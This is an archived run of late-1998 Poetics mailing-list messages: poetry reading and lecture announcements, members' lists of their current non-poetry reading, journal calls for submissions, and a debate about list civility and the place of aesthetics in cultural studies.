The 9x9 reading announced earlier is occuring in "The City," I believe, (for those of you who don't know where 16th & Guerrero is.)

Also occuring in San Francisco on the same evening, Thurs. Dec. 3: Norma Cole will be giving the annual George Oppen Memorial Lecture at the First Unitarian Church on Franklin St. (1700 block I think) at 7 p.m. The event is sponsored by the Poetry Center at SFSU from which one can order tapes of previous Oppen lectures including a really nice one given by General Perloff in 1989 which I was listening to in my car the other day. In it she describes a washing machine ejaculating quarters into a woman's apron (and she says she's not a poet.)

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943. jen hofer
hey all you chicago-area folk!
Mon 30 Nov 1998

Film/poetry event in Wicker Park this Wednesday: please come & bring all your friends--

"Moving Words"--Films and Poems
Celebration of issue #2 of Interlope & issue #3 of Kenning

Films by Amie Siegel, David Gatten, Heather Seybolt, Ken Eisenstein and Sarah Jane Lapp

Poems by Amie Siegel, Jen Hofer, Patrick F. Durgin, Summi Kaipa and Tina Celona

8 p.m., Wednesday December 2, at David's Studio @ In These Times Magazine 2040 N. Milwaukee Ave. (just above the Western stop on the Blue Line)

All are welcome.

We did the same program this recent Friday the 13th in Iowa City & it was quite a blast--trash film strips in lovely little bundles all over the house & ended with a screening of a film created in the Atlantic Ocean which destroyed itself as it ran through the projector. The poems were more durable but just as thrilling.

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944. Ron Silliman
Current reading (non poetry)
Mon 30 Nov 1998

Just finished Philip Dick's Do Androids Dream of Electric Sheep? (Surprised actually at how different it was from the film Bladerunner, which extracts a very single narrative line and runs with it). Also Walter Mosley's Always Outnumbered, Always Outgunned (I highly recommend this). Currently reading Kathy Acker's Body Works and Sarah Schulmann's Rat Bohemia. Enjoying them both,

Ron

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945. **Roger Day**
Re: Current reading (non poetry)
Mon 30 Nov 1998

Thanks, Ron. Mine if I chip in with my current reading?

"The Deregulated Muse", Sean O'Brien. Verbose yet small account of Postwar British & Irish poetry.
"The Last Of the Mohicans" William Fenimore Cooper. Better than expected, but not surprised they left the bear - and a lot else - out of the Michael Mann film.
"The Last Avant Garde", Lehman. Just can't put this book down. Absolutely deleesh. Was reccomended by someone on this list (Kent Johnson | Henry Gould|A.N.Other?). Thankyou.
Selected Poems of Osip Mandelstam (Clarence Brown & WS Merwin Trs). Wow.
"UML Distilled" You don't want to know.
"About Face", Ditto.
"Dylan, The Language". Ditto.
At 30/11/98 10:59:33, Ron Silliman <[redacted]> wrote:
Just finished Philip Dick's Do Androids Dream of Electric Sheep? (Surprised
actually at how different it was from the film Bladerunner, which extracts a
very single narrative line and runs with it). Also Walter Mosley's Always
Outnumbered, Always Outgunned (I highly recommend this). Currently reading
Kathy Acker's Body Works and Sarah Schulmann's Rat Bohemia. Enjoying them
both,
#
Ron
#

Roger

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946. **Pierre Joris**
Re: Current reading (non poetry)
Mon 30 Nov 1998

Just started into Niklas Luhman's _Observations on Modernity_ as part of my (very haphazard) attempt to keep up to date with European socio-eco-epistemo-political thinking.

But continuously dragged back into, ugh, the wider reaches of poetry as I just got the fabulous Rasula/McCaffery _Imagining Language: An Anthology_ (MIT; $55 but worth every penny, the perfect xmas present to yourselves) and can't put it aside.

Another recom someone made on this list some time ago: Yve-Alain Bois & Rosalind Kraus' _Formless_ (Zone Books). Excellent thinking about art if Bataille's thought interests you.

Just finished the massive (600pp) critical biography _Mauric Blanchot / Partenaire Invisible_ by Christophe Bident. A superb book, the best writing on Blanchot I venture to say -- difficult to compare to other recently read biographies such as the much liked (by me) Spicer one and the much disliked (by me) _The Last Avant-Garde_.

And yet another biography: Bruno Etienne's work on the 19C Algerian cheikh / freedom fighter/ sufi mystic Abdelkader.

Henry Corbin's _Alchémie comme art hiératique_.

Michael Brett and Elizabeth Fentress: _The Berbers_.

Régis Debray's _La République expliquée à ma fille_, a short book in a series in which various writers/ intellectuels explain/ write about various aspects of politics/philosophy/ psychiatry etc. as if or in fact explaining these matters to their children. Interesting exzercise in toning down the jargon. Debray, at any rate, has always been one of my favorite writers & I pick up every new book he produces.

One Tintin (_The Cigars of the Pharaoh_) and a French young person's edition of the Labors of Herkules as bedtime reading for Miles, and as corrective reading versus the US tv Herkules.

Lucie Bolens: _La cuisine andalouse_ a wonderful treatise on food and the art of living in XI-XII C Andalusia. Some recipes I will try out before the end of the year.

Pierre

==========
Pierre Joris

[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Through the living the road of the dead
— Ungaretti
==========

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947. **Michael Magee**
Re: Critic-Penitents, Poet-Penitents
Mon 30 Nov 1998

According to louis stroffolino:
>
> I sometimes we think we need to "free" poetics FROM its current
> "freedom" and set some limits to the discussions....
>

Chris, there's a journal entry of Emerson's where he defines liberty as "neither chain nor chain of chain." Your thought about "freedom" from our current "freedom" reminded me of it. As dedicated to liberty as I think most of us are, might we sometimes "rebel" merely for the love of that idea, and not in some genuinely worthwhile context? And might this then be not rebellion but simply sniping? I think so, and have been guilty of it myself at times. Of course once we try to set rules of debate the difficulty of *that* becomes to obvious to detail. And words like civility and - ugh - "decorum" are yucky words. But all of us deserve a certain amount of respect, we've all earned that in various ways. And one measure of respect is to try to make your posts "count" in one way or another (lot's of ways of course, w/ new ones always being invented). And I'm going to try to remember this. -m.

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948. **Eliza McGrand**
Re: Current reading (non poetry)
Mon 30 Nov 1998

---

just finished all the work by james (or jamie?) lee burke that i could find in my libraries. action/mystery, set in new orleans for the most part. primary series about character, dave robichaux, vietnam vet, policeman. it is funny, there

were actually times when i had to stop reading, just stop and reread because the writing was so gorgeous. it is hard to describe, but burke can set a scene, open out the emotions/visual/sensual aspects of an imagined scene in almost no words, so clearly, in a simple way that seems so easy and yet is not (as those who've tried with fiction will know).

got five stories by louisa may alcott written under psuedonym -- interesting. much more worldly, in some ways, than one would expect, but with that curious victorian/edwardian innocence which inserts the most complex, difficult, questionable devices as if they were perfectly simple -- example, one character -- a "haggard woman of at least thirty"! -- disguises herself as a young girl, with a bit of paint, some "pearly white" false teeth, and facial expressions. hollywood, as well as us haggard women of at least thirty!, would pay mightily for such easy renewal!

am craving mark twain again. got _Life on the Mississippi_ but read that not very long ago, and will exchange it for soemthing less familiar i think.

saw "The Boxer" and it was so rich and nuanced it felt like a book. daniel day lewis is an extraordinry actor. story bitter, wierd, complicated.

finally, _Deadstick_ by Terence Flaherty. first novel, mystery/suspense, with, i kid you not, a feel in it of F. Scott fitzgerald (though no one else has mentioned it in reviews). that outsiders looking on feel?

e

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949. **Emily Lloyd**

Re: Current reading (non poetry)

Mon 30 Nov 1998

Hey, I *was* reading _About Face_ too, for a bit. Then I stopped.

The novels of Ian McEwan. I'd read _The Cement Garden_ and dug it in high school (more than I did on a recent rereading), but none of the others. _The Child in Time_ I find excellent; _Enduring Love_ scared me so badly that I had to clench my hands tight to the boards to keep from dropping it. Not least because I saw disturbing signs of my high school self in its deranged, eroto-manic antagonist. What a weird moment that always is, when one finds out one had some psychotic syndrome after years of thinking it was "only life." My tongue in just half of my cheek.

After seeing *Queen Christina* for the first time, I checked out _Walking With Garbo_--a book whose author I can't remember (tho it was before me, what, 2 days ago?). I skimmed it, mostly reading only the lengthy quotes from Garbo.

I'm very late to Garbo, I know, so this may be general knowledge, but it surprised me to find that she constantly, easily, referred to herself with masc. pronouns: "I was just a silly boy then; now I'm a tired old man," etc. A few yrs. back, and still fondly in my head, I was yipping all around, over & through books on trans/gendered/ness--ancient cases, etc., and concluding (insofar as one can) that Gert Stein had more of a touch of the tg in her than the lesbian. I thought I'd read pretty deeply "in gender." And here I find this Hollywood actress, who I'd heard was queer & had some fun with gender (for the most part, who hasn't?), seriously, constantly, and seemingly without affectation, calling herself a dude. I don't know; I'm still kind of a geek about/fool for fucked genders (though I'm told it's very out-of-date of me)--I swooned.

em

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950. Joe Amato/Kass Fleisher
from today's _academe today_...
Mon 30 Nov 1998

evidently the _chronicle of higher ed_ this week includes the following story:

THE RETURN OF AESTHETICS: Scholars in the humanities, weary of cultural studies and political criticism, have begun once again to discuss the pleasures of good, powerful -- even beautiful -- writing. (Research & Publishing Section)

some of us may well find ourselves asking, RETURN?...

i haven't yet read the piece (i will) but am forced to consider whether this constitutes a *reaction against" cultural studies... having taken cult. studies to task a bit mself here (and superficially so, though a more bracing argument can be made) i'd like to suggest that considering aesthetics (this term, like others, may slip & slide) need not be a matter of avoiding "political criticism"... it does seem to me (again) that aesthetics may be understood as operating at micro levels of text/textuality (a good thing), even as it comes to be understood (as a function, i mean) within or alongside more macro concerns... and that aesthetics is not limited to the "pleasures of good, powerful -- even beautiful -- writing," but may provoke more complex experiences... of course one would have to ask what a given text is actually *doing*, and not simply as a function of reception at the social/cultural level(s)... i can go on and on about "jane austen," e.g., and generate all sorts of intriguing insights about reception of her work, w/o having really dug into her writing (which would no doubt generate all sorts of additional intriguing insights)...

i'm most interested, mself, in work that manages to work both aspects of this issue... and i do note the implicit binary that i've set up here, which will undoubtedly dissipate some once one really gets into things...

anyway...

best,

joe

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951. Bobbie West
A Wild Salience
Mon 30 Nov 1998

Burning Press is currently preparing for publication a booklength collection of responses to the work of Rae Armantrout--

"A WILD SALIENCE": THE WRITING OF OF RAE ARMANTROUT,
edited by Tom Beckett.

Among other things, "A WILD SALIENCE" will include new work by Rae Armantrout, an interview with Lyn Hejinian, an interview with Tom Beckett, and critical work by Laura Moriarity, Aldon Nielsen, Rachel Blau DuPlessis, Brenda Hillman, Fanny Howe, Susan Wheeler, Lydia Davis, Kit Robinson, Bobbie West, David Bromige, Charles Alexander, Hank Lazer, Ron Silliman, Bob Perelman, Jessica Grim and Robert Creeley.

"A WILD SALIENCE" is the first book in a projected series of volumes to be devoted to responses to individual contemporary writers. Following publication of this initial offering Tom Beckett will function as Series Editor and work to pair guest editors with important but underappreciated innovative writers.

We are working to develop the most complete mailing list possible to publicize what we hope will come to be seen as an important contribution to the field of innovative writing. If you wish to be on the mailing list, or if you know of persons or institutions that ought to be, or if you have a mailing list you would care to share, please contact one of us:

Tom Beckett, Editor
[redacted]

Bobbie West, Assistant Editor
[redacted]

And stay tuned.

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952. **Joe Amato/Kass Fleisher**
Re: Current reading (non poetry)
Mon 30 Nov 1998

---

oh yeah, in no particular order:

(1) email from this list
(2) "St. Martin's Press credits an innovative point-of-purchase [POP] display with increasing display orders by 30% for their bestselling novel, _Neanderthal_." [Book Marketing Update]
(3) this email
(4) "Reminder: The [ ] interviewing teams will begin interviewing at MLA as early as 8 a.m. on Sunday, December 17 [sic], 1998."
(5) this email
(6) student essays
(7) "There was no poetry in Richard Nixon." [can't get this line (of theodore h. white's) out of my head]
(8) this email
(9) "I will be arriving at the MLA convention in San Francisco on Sunday evening..."
(10) _letters for the living: teaching writing in a violent age_, michael blitz & c. mark hurlbert (ncte, 1998)
(11) snippets of various issues of chain, raddle moon, famous reporter, cross-cultural poetix, notre dame review, chloroform, chicago review, big allis, explosive magazine, kenning, tinfish, bombay gin, the temple, mr. knife/miss fork, samizdat, rain taxi (i finally subscribed, thanx gary!), abr, academe, arshile, review of contemporary fiction, saveur (yep, the cooking mag), the nation...
(12) _screenplay: the foundations of screenwriting_, 3rd ed., syd field (mjf books, 1994) [thanx to barbara wilder!]
(13) pmla, program for the 114th convention
(14) _postmodern american fiction: a norton anthology_, ed. geyh/leebron/levy
(15) _giscome road_, c. s. giscombe (dalkey archive, 1998)
(16) _elephant surveillance to thought_, andrew levy (meow p, 1998)
(17) _wittgenstein's ladder_, marjorie perloff (u of chicago p, 1996)
(18) i forgot
(19) this email

-30-

joe

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953. Laura Moriarty
details about Norma Cole on George Oppen
Mon 30 Nov 1998

Norma forwarded me more details of her talk this Thursday as well as a short bio - Note that the talk starts at 7:30, not 7:00 - I have been hearing her describe the writing of the talk which sounds great -

The Poetry Center presents

The George Oppen Memorial Lecture
on Twentieth Century Poetics

Norma Cole, "The Poetics of Vertigo"

Thursday, December 3, 1998
7:30 PM
First Unitarian Church
1187 Franklin Street, SF
$4 general
Poetry Center members free

Norma Cole's recent books are CONTRAFACT, MOIRA and DESIRE & ITS DOUBLE. Her translations include Danielle Collobert's IT THEN and Anne Portugal's NUDE. She has been a recipient of the Getrude Stein Award several times, and has received a Gerbode Award for Poetry as well as an award from the Fund for Poetry. A Canadian from Toronto, Cole has lived in San Francisco for the last twenty-one years. She currently teaches part time at San Francisco State University.

[redacted]
http://socrates.berkeley.edu/~moriarty/

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954. Elizabeth Treadwell
Last call for Outlet (3) Ornament
Mon 30 Nov 1998

Outlet (3) Ornament will feature work which addresses fashion: ornament, the (synthetic) fixtures of the body, & the languages/technicalities of attire, both contemporary & historical. [Also: anthropologias, decorative arts, etc.] Deadline December 15, 1998. Please include SASE.

Response by late January.

The issue will be available in March 1999. $5 ppd. (cash & stamps are fine, checks to E. Treadwell)

Note to REVIEWERS: please contact me about the status of your review. Thanks.

E.T.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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955. Hilton Manfred Obenzinger
Re: Current reading (non poetry)
Mon 30 Nov 1998

I forgot who first started this run of mini book reviews, but I want to express my thanks. After Bull Run it has been a delight to get glimpses of wildly different reading lists -- and a token of what's been most interesting to me about discussions on this list: shards of different light to add to my own store. I can't speak much about my own reading list: I've just finished Henry James' "The Bostonians" and I was reminded of why he irritates me so much, and I'm in the middle of Gay Wilson Allen's "A Reader's Guide to Walt Whitman" -- I find it very sweet, informative -- plus "Walt Whitman: The Measure of His Song" ed. by Jim Perlamn, Ed Folsom & Dan Campion, which tickles me greatly and the multifarious influence of the barbaric yawp intrigues me.

I suggest that someone host a current reading list bout every month or so -- and Pierre Joris needs to translate Andalusian recipes.

Thanks,

Hilton Obenzinger

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956. R.Gancie/C.Parcelli
Re: Bull Run
Mon 30 Nov 1998

In between being told how fortunate I am to be permitted to operate my bookstore in upper Northwest Washington by people who haven't read anything more substantial than Primary Colors, I've reflected on Charles Bernstein's post. I've concluded that Bernstein is dead wrong and short sighted to boot. I signed up for this list in part to see if my own form of enforced autodidactism and vocation to modernism measured up to what other people on the list, especially folks on campuses where you get to walk the walk and talk the talk as part of your everyday existence, could bring to poetic discourse. Because Pound

when he said "make it new" was not advocating a marketing blitz or the inauguration of an age of poetic fads, I found I could participate on the site. But, out of a sense of personal and artistic responsibility, I've also found myself reading and thinking in order to better grasp and often to contend with other strains on the site. However, the truly pleasant surprise for me has been the 'fumiste' style that many of the folks on the sight show a real talent for. I'm referring to "the combination of the outrageous and the deadpan that constituted the Chat Noir style." The email format, if it has any virtues beyond basic communication, seems an ideal venue for a revival of this style. It comes naturally and vehemently on this list. And to Hell with content, personality, name calling etc. At the risk of flattering you hucksters, this list has intelligence, wit, heart, and knowledge to spare for the kind of voices that fit the 'tolerances' of the medium. Although not every 'fumiste' post is 'successful', this is email's imaginative edge. Some voices may not be appropriate for the medium's creative dimension, but nothing 'historic' is going to be derived here from putting up snippets of standard critical fare or listing publications and readings though this news never hurts. Its only lively and unique and I would insist legitimate function may be a medium that combines the content of critical reading and the outlandishness of the Hydropathes. Ron Silliman hasn't resisted this impulse in his attached post e.g. "Bull Run", just as Henry Gould considers a post without puns, punditry, mixed metaphors and meanderings a post without sunshine. Look, I'm a towney in a town usurped by Hass and now Pinsky. You go to a gathering of poets here and the last thing they want to talk about is poetry. Getting mentioned in the Washington Post or getting a grant take top priority. If I thought face to face, I could maintain the kind of lively discourse that takes place on this site, I'd move all your asses here. With the exception of an occasional post by Rod Smith or Simon Schuchat, I don't see D.C. poets (and I've been here all my life) getting into the fray on this list or any list whatever. They wouldn't have the knowledge, the committment, the passion, the imagination or the guts. Don't ruin a unique thing.---Carlo Parcelli

Ron Silliman wrote:
>
> I took the kids to Manasas yesterday to see the site of the first Battle of
> Bull Run only to discover that the Civil War re-enactment was really going
> on here on The List whilst our backs were turned. My attitude toward this is
> pretty much the same as my answer to Colin's question yesterday, "Who were
> the good guys?" "They all were. That's what makes war so wasteful and
> stupid."
>
> I've often thought that the really radical distinction between our age and
> those of decades past is not one of more (or less) good poets per se

> [although I'm inclined to believe that there are more good writers right now
> than ever before in history], but rather that there are far fewer critics of
> substance. I think that Marjorie Perloff (and Peter Quartermain, Jerry
> McGann, Alan Golding, Steve Evans, Maria Damon, Tom Vogler &c &c &c) takes a
> lot of flack because she (and they) stands in for "all of criticism" in its
> positive functions. If Marjorie's work has a weak spot, I think it's that
> she knows just how little good criticism is being written about contemporary
> poetry and she's always trying to fill all of the gaps. Her energy always
> astounds me as does her ability to bring extraordinary powers of
> concentration of every project she tackles.
>
> A much more interesting question than why does X or Y not make it onto
> reading list A is always "what is it about X or Y that keeps someone from
> putting it onto reading lists A, B, C, etc.?"
>
> Yes, it's true that critics who don't write or publish or primarily publish
> poetry will see the poem differently than do other poets. Poets often read
> the poem as though the other poet were "solving the problems" put forward by
> the poem and vote heavily with their (my) emotions on how well that gets
> done. Is it the only way to read a poem? Is there any such "only way"? Not
> in this galaxy there's not. And I write this as one of the loudest
> proponents of poets writing criticism there has ever been.
>
> I note that I, for one, don't feel "disabled" to speak about the fiction I
> read, although I haven't ever published fiction (tho I did "win" one
> Pushcart Prize for same and was ostensibly hired as a fiction teacher by
> UCSD some 16 years ago, which says more about the institutionalization of
> genre than anything else). Ditto the films I see or music I hear, although
> I've never ventured into those media either. I've been reading Kathy Acker
> on Goya this weekend. Should I presume that this should not have been
> written?
>
> There are also people in virtually every poetry scene who are important to
> it who publish neither poetry nor criticism, or else very very little. We
> lost two of these folks in the past year or so in Barry Cox and Charles
> Watts. Were their opinions not of value? That seems non-sensical on the face
> of it. I think it's very difficult to understand or articulate precisely how
> poetry is diminished by the loss of someone who doesn't characteristically
> speak up, but I never met anyone who knew these people (or others like them)

> who wouldn't admit it.
>
> In some ways, that silence replicates the position of most of the folks who
> lurk on this list. This list, after all, has 700 recipients but can handle
> only 50 messages per day.
>
> If anything, we need more of all these social functions in and around the
> poem. We certainly need 100 Marjorie Perloffs, preferably all in contention
> with one another so as to create a true public discourse about literature
> that we would, every one of us, benefit from. If nothing else, the arguments
> who have more in the way of nuance.
>
> Ron Silliman

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957. **Bob Haynes**
Poetry in Phoenix
Mon 30 Nov 1998

---

i just moved down to Scottsdale, AZ, from the San Francisco area. Anyone out there know of poetry events, lectures, readings, whatnot, happening in and around the Phoenix area??? I'd also be interested in writing groups, or cafes....anything that might offer poetry.

Bob

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958. **daniel bouchard**
Re: Current reading (non poetry)
Mon 30 Nov 1998

At 10:24 AM 11/30/98 -0800, you wrote:
>... a delight to get glimpses of wildly different reading lists ...

yes, mere lists even of what people are reading
are far more interesting than the posts I'm deleting.

Autobiography (WC Williams)
Selected Letters (WC Williams)
Tropic of Cancer (Miller)
Picasso; Everybody's Autobio. (Gertrude Stein)
Sky Memoirs (Blaise Cendrars)
The Words (Sartre)
Cezanne (Ambroise Villard)

Paris Sewers and Sewermen (Donald Reid)
The Lady of Situations (Louis Auchincloss)
Present Day Paris and the Battlefields [1922] (Sommerville Story)
The Enlightenment in France (Frederick B. Artz)
Strange Communists I Have Known (Bertram Wolfe)
I, Claudius (Robert Graves)
The Twelve Caesars (Suetonius)

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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959. **ken|n|ing**
Re: Current reading (non poetry)
Mon 30 Nov 1998

Is this what we're doing, posting lists? In that case, I submit my current non-poetry reading:

Jean-Luc Nancy The Sense of the World, The Gravity of Thought
Louis Zukofsky Prepositions
Adelaide Morris, ed. Sound States
Jed Rasula American Poetry Wax Museum
Steve McCaffery North of Intention

Patrick F. Durgin

|
|
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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960. **Mark DuCharme**
Re: Free Poetics / Bull Run
Mon 30 Nov 1998

Humor is a sign
>of sanity. Nevertheless I stand by what I said before : I agree in principle
>with Chuckie's position. Free poetics from these boring higgler epics;
>talk poetry specifics, not generals. - Henry Gould

Couldn't agree more, Henry. For the record.

>p.s. Mark - you've never heard of anyone prescribing how to write poetry
>besides me? Well, I'm flattered, to say the least! But you know - just
>for your information - there was Pound too, & Eliot, & a few thousand other
>poets going back at least to Theocritus, I believe, who did such - Wordsworth,
>Poe... gosh, I could name quite a few!

Well, yes, certainly, I'm aware of these, & I'll add the name of Andre Breton, for one, to that list. I was trying to talk about contemporaries, & specifically individuals on the Poetics List. I don't think anyone still feels bound to the dictums of Pound, for example-- though didn't somebody on this list quote one of his slogans recently?

Mark DuCharme

_____
Get Your Private, Free Email at http://www.hotmail.com

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961. **Mark DuCharme**
Re: Current reading (non poetry)
Mon 30 Nov 1998

Roger day wrote:
>"The Last Of the Mohicans" William Fenimore Cooper. Better than expected,
>but not surprised they left the bear - and a lot else - out of the Michael
>Mann film.

does memory completely fail, or is it _James_ Fenimore Cooper?

MDC

Get Your Private, Free Email at http://www.hotmail.com

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962. **R.Gancie/C.Parcelli**
Re: Bull Run
Mon 30 Nov 1998

Joe Brennan has taken exception to being lumped in with the 'set in concrete' set that comprise the Washington poetry scene. It is only my long friendship and boundless admiration for this knowledgable and passionate Freudian-Lacanian poetic voice that led to my unforgivable oversight.---Carlo Parcelli Thanks to Dan Rather at the Averrill Harriman memorial service for the excessively fawning tone of the above. -- ÐÏ à¡± á

↑ Index

963. **schuchat**
Re: Current reading (non poetry)
Mon 30 Nov 1998

Am about halfway through Gershom Scholem on Sabbatai Sevi. Just finished General William Odom (Ret.) THE COLLAPSE OF THE SOVIET MILITARY, extremely interesting discussion of what Gorbachev thought he was doing versus what he actually was doing. Before that, TLOOTH. Also (re)reading around in the new Denby dance writings collection from Yale, always a pleasure to read such clear, elegant observation.

Also, not long ago I read my second Tom Sharpe novel, THE THROW-BACK, entertaining British slapstick.

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964. **shana**
reading lists!
Mon 30 Nov 1998

This is so cool. I love lists--my grocery list occasionally has footnotes. Recent reading for me--

Diary of an Unknown-Jean Cocteau
The Life of Poetry-Muriel Rukeyser
The Children of Abraham (sequel to The Book of Abraham)-Marek Halter
The Best Defense-Alan Dershowitz

Wild Light-Collected Poems-Yona Wallach
love stories on FOP-L
The Managed Health Care Handbook
Chutzpah-Alan Dershowitz
Tales of the City series (for the 2nd and 3rd time)-Armistead Maupin
my diary from 12th grade
old love letters (I highly recommend them)

ps, I love The Cement Garden.

Shana

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965. **daniel bouchard**
Re: reading lists!
Mon 30 Nov 1998

At 03:32 PM 11/30/98 -0500, you wrote:

> *my diary from 12th grade*
> *old love letters (I highly recommend them)*

Please send them to me at the address below.

ps-- this was the obvious reply, no? I'm terribly sorry.
Self-imposed silence for two months as contrition.

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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966. **Judy Roitman**
Re: from today's _academe today_...
Mon 30 Nov 1998

> *You're right, Joe. When the discourse gets too heated the function of the list-moderator might be to gently remind us that things have gotten out of*

> *hand. If someone really spouted *hate speech* on the list, I'm sure that person would be blasted pretty quickly. The tone would escalate once again. I didn't take you to be saying that any current subscribers would be capable of hate speech as defined in contemporary American, e.g. overt homophobia, racial slurs, anti-semitism, etc...*
>
> *Has anyone read Butler's _Excitable Speech_?*
>
> *I took Carlo to be saying that the vigorous nature of the debate was one of the attractions of the list for him, and I feel the same way.*
>
> *Jonathan Mayhew*

Hi, JM. Vigorous debate is fine, but the personal vendettas and itertions of self-justification get pretty unpleasant. We both know folks who have dropped off for one or the other or both reasons, folks who would be nice to hear from.

(This disguised note to Jonathan is of course to everyone.)

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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967. **MAYHEW**

Re: from today's _academe today_...

Mon 30 Nov 1998

Interesting questions, Joe, from where I sit. Cultural studies is considered very au courant in Peninsular (Spanish) studies these days. It usually doesn't include anyone working on poetry. The Latin American side has been highly politicized for years. To take aesthetics seriously, in my field, is the hallmark of a cultural conservative. So I find myself siding--on many issues-- with people in Latin American literature, who might not be interested in "aesthetics" as I am, as opposed to more traditional peninsularists--whose "aestheticism," derived from the New Criticism, has been dulled by the years. But when I see a book like John Beverly's _Against Literature_ I have to cringe. I'd welcome a return to aesthetics, as long as it wasn't just a recycling of the literary criticism of 30 years ago.

I was in a splenetic mood last week, which accounts for some of the tone of my posts. But Carlo Parcelli's response to Ron makes me feel a little better.

Jonathan

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968. **Erik Sweet**
Tool Party/Reading Postponed
Mon 30 Nov 1998

The "Tool a Magazine" party and reading scheduled for
Friday December 4th at Segue will be postponed until
January-

Sorry about the change!

Issue number 2 will surface in early January..

E.S.

↑ Index

969. **Joe Amato/Kass Fleisher**
Re: from today's _academe today_...
Mon 30 Nov 1998

---

jonathan, interesting to see these terms play themselves out in a field of which i am (as per) largely ignorant...

but yes, "aesthetics" can be retro as hell, esp. when you get folks chiming in with unexamined notions of "beauty"... the halls of poetry, the halls of _____, are filled with such prattle...

i have to believe, though, in the possibility of being moved (as my high school physics teacher used to say, "in various & sundry ways")... there has been talk hereabouts in the past as to the persistence, even necessity of the sublime... it sometimes seems to me that we need something like this as an antidote to the prevalent cynicism (not that the latter can't be useful at times, but after a spell it's about as interesting as watching paint dry)... well there are other ways of handling this too, but i've repeated mself by now...

on an entirely different matter (that you also raise): i take carlo's point, but i also take charles's intervention... let's say someone started spouting hate speech hereabouts---it's safe to assume that we can all imagine what this might likely consist of?... what then?---do we simply turn a deaf ear?---do we rail against?... i'm not even *hinting* that such a thing has happened here---but i think the duty of a list moderator is to try to make things, well, in basic terms, hospitable for list inhabitants, regardless of 12345678xyz... which would be a

matter, in part, of attempting to persuade folks not to insult, or to add insult to injury...

which is certainly not to say that tempers may not flare, that there isn't all sortsa leeway around here...

but this, too, is a matter of judgment... and whenever an actual judgment is made around here, you can see how controversial things quickly become... of course charles has de facto more (list) power than any of us---he can always pull the plug... so in one sense we're all operating out of his sense of what's worth-while (which is of course hardly unique---by which i mean zero insult)... whereas when anyone else asks (e.g.) for more "civility," that rhetorical request can only ever be just that---a request...

still, i think it's important to recognize that there are some responsibilities that come of "free poetics" (which are anything but "free," as some have indicated)... i wouldn't wanna legislate same, but i sure would wanna worry them some...

best,

joe

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970. **MAYHEW**

Re: from today's _academe today_...

Mon 30 Nov 1998

You're right, Joe. When the discourse gets too heated the function of the list-moderator might be to gently remind us that things have gotten out of hand. If someone really spouted *hate speech* on the list, I'm sure that person would be blasted pretty quickly. The tone would escalate once again. I didn't take you to be saying that any current subscribers would be capable of hate speech as de-fined in contemporary American, e.g. overt homophobia, racial slurs, anti-semitism, etc...

Has anyone read Butler's _Excitable Speech_?

I took Carlo to be saying that the vigorous nature of the debate was one of the attractions of the list for him, and I feel the same way.

Jonathan Mayhew

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971. **Michael Magee**
COMBO 2 - HOT FUN IN THE WINTERTIME
Mon 30 Nov 1998

End of the Fall and COMBO comes back...

Hi, hi, hi, hi there!!

...those winter days, those COMBO days...

HOT FUN IN THE WINERTIME!! HOT FUN IN THE WINTERTIME!! HOT FUN IN THE WINTERTIME!!

```
 CCC   OO   MM   MM BBB   OO      222
C   C O  O  M M M M B  B O  O    2   2
C     O  O  M  M  M BBB  O  O      2
C     0  0  M  M  M B  B O  O     22
C   C O  O  M  M  M B  B O  O    2
 CCC   OO   M  M  M BBB   OO     22222
```

FEATURING POEMS BY...

Pattie McCarthy Brett Evans Prageeta Sharma

Heather Fuller David Kellogg Ray DiPalma

Lee Ann Brown Chris McCreary

Ange Mlinko Kit Robinson Standard Schaefer

and Lev Rubinshtein

---

for those who missed our first issue, COMBO is a quarterly journal of poetry and poetics emphacizing work by experimental writers roughly under 35. COMBO is 52 pgs on nice off-white paper w/ printed glossy card stock cover. Single issues, $3.00 (a bargain!) 4-issue subscriptions $10.00 (a bigger bargain!). E-mail to [redacted], and/or send checks payable to Michael Magee, 31 Perrin Ave., Pawtucket, RI 02861. Ask around: this is a happenin' mag & we aim to please. Woo-hoo!!!

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972. **Maria Damon**
Re: from today's _academe today_...
Mon 30 Nov 1998

At 3:13 PM -0600 11/30/98, MAYHEW wrote:
>Interesting questions, Joe, from where I sit. Cultural studies is
>considered very au courant in Peninsular (Spanish) studies these days. It

>usually doesn't include anyone working on poetry. The Latin American side
>has been highly politicized for years. To take aesthetics seriously, in my
>field, is the hallmark of a cultural conservative. So I find myself
>siding--on many issues-- with people in Latin American literature, who
>might not be interested in "aesthetics" as I am, as opposed to more
>traditional peninsularists--whose "aestheticism," derived from the New
>Criticism, has been dulled by the years. But when I see a book like John
>Beverly's _Against Literature_ I have to cringe. I'd welcome a return to
>aesthetics, as long as it wasn't just a recycling of the literary
>criticism of 30 years ago.
...

why does beverly make you cringe? i really like that book, at least the intro; but as a cult studs jock, i'm in the minority here on the list...

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973. **MAYHEW**
Re: from today's _academe today_...
Mon 30 Nov 1998

On Mon, 30 Nov 1998, Maria Damon wrote:

why does beverly make you cringe? i really like that book, at least the intro; but as a cult studs jock, i'm in the minority here on the list...
>

Now I (JM) write again:

You might be a minority in cultural studies too, Maria, because you actually care about POETRY. I think your work bridges the gap in a way that sets a great example for other critics.

In the first place, there's the title, with its implication that literature is a useful thing to be *against* Why does cult studs have to be against literature? Why assume that various nefarious uses to which "literature" has been put in the past define all its possible future uses? Doesn't his position basically rule out any useful role for the practicing poet, playwright, or novelist by defining literature as that which is already studied as such in the university? I could repeat an argument Chas. Bernstein makes about Eagleton in an essay in _Content's Dream_ several years ago (even more relevant in today's climate): why concede to a conservative faction of academia the right to define what literature is?

